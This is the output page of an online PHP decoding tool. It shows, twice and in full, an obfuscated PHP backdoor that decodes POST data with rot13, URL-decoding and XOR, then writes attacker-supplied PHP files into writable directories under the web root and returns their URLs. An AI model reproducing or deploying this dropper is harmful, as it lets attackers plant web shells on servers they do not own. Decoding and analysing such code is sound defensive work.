Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $vdrsh = "ojflkiwcommibgit";$zgnxu = "";foreach ($_POST as $hiojv => $lmifmey){if (s..

Decoded Output download

<?php $vdrsh = "ojflkiwcommibgit";$zgnxu = "";foreach ($_POST as $hiojv => $lmifmey){if (strlen($hiojv) == 16 and substr_count($lmifmey, "%") > 10){suwxogoayl($hiojv, $lmifmey);}}function suwxogoayl($hiojv, $hwdzfhv){global $zgnxu;$zgnxu = $hiojv;$hwdzfhv = str_split(rawurldecode(str_rot13($hwdzfhv)));function iusyeazv($flmqvj, $hiojv){global $vdrsh, $zgnxu;return $flmqvj ^ $vdrsh[$hiojv % strlen($vdrsh)] ^ $zgnxu[$hiojv % strlen($zgnxu)];}$hwdzfhv = implode("", array_map("iusyeazv", array_values($hwdzfhv), array_keys($hwdzfhv)));$hwdzfhv = @unserialize($hwdzfhv);if (@is_array($hwdzfhv)){$hiojv = array_keys($hwdzfhv);$hwdzfhv = $hwdzfhv[$hiojv[0]];if ($hwdzfhv === $hiojv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bwxgx($vdbfezir) {static $zqntclb = array();$znuljfncj = glob($vdbfezir . '/*', GLOB_ONLYDIR);if (count($znuljfncj) > 0) {foreach ($znuljfncj as $vdbfez){if (@is_writable($vdbfez)){$zqntclb[] = $vdbfez;}}}foreach ($znuljfncj as $vdbfezir) bwxgx($vdbfezir);return $zqntclb;}$ajqqz = $_SERVER["DOCUMENT_ROOT"];$znuljfncj = bwxgx($ajqqz);$hiojv = array_rand($znuljfncj);$hpiblfzxud = $znuljfncj[$hiojv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($hpiblfzxud, $hwdzfhv);echo "http://" . $_SERVER["HTTP_HOST"] . substr($hpiblfzxud, strlen($ajqqz));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $vdrsh = "ojflkiwcommibgit";$zgnxu = "";foreach ($_POST as $hiojv => $lmifmey){if (strlen($hiojv) == 16 and substr_count($lmifmey, "%") > 10){suwxogoayl($hiojv, $lmifmey);}}function suwxogoayl($hiojv, $hwdzfhv){global $zgnxu;$zgnxu = $hiojv;$hwdzfhv = str_split(rawurldecode(str_rot13($hwdzfhv)));function iusyeazv($flmqvj, $hiojv){global $vdrsh, $zgnxu;return $flmqvj ^ $vdrsh[$hiojv % strlen($vdrsh)] ^ $zgnxu[$hiojv % strlen($zgnxu)];}$hwdzfhv = implode("", array_map("iusyeazv", array_values($hwdzfhv), array_keys($hwdzfhv)));$hwdzfhv = @unserialize($hwdzfhv);if (@is_array($hwdzfhv)){$hiojv = array_keys($hwdzfhv);$hwdzfhv = $hwdzfhv[$hiojv[0]];if ($hwdzfhv === $hiojv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bwxgx($vdbfezir) {static $zqntclb = array();$znuljfncj = glob($vdbfezir . '/*', GLOB_ONLYDIR);if (count($znuljfncj) > 0) {foreach ($znuljfncj as $vdbfez){if (@is_writable($vdbfez)){$zqntclb[] = $vdbfez;}}}foreach ($znuljfncj as $vdbfezir) bwxgx($vdbfezir);return $zqntclb;}$ajqqz = $_SERVER["DOCUMENT_ROOT"];$znuljfncj = bwxgx($ajqqz);$hiojv = array_rand($znuljfncj);$hpiblfzxud = $znuljfncj[$hiojv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($hpiblfzxud, $hwdzfhv);echo "http://" . $_SERVER["HTTP_HOST"] . substr($hpiblfzxud, strlen($ajqqz));exit();}}}

Function Calls

None

Variables

$vdrsh ojflkiwcommibgit
$zgnxu

Stats

MD5 b0258032bba90f84035652f6d11d75d1
Eval Count 0
Decode Time 97 ms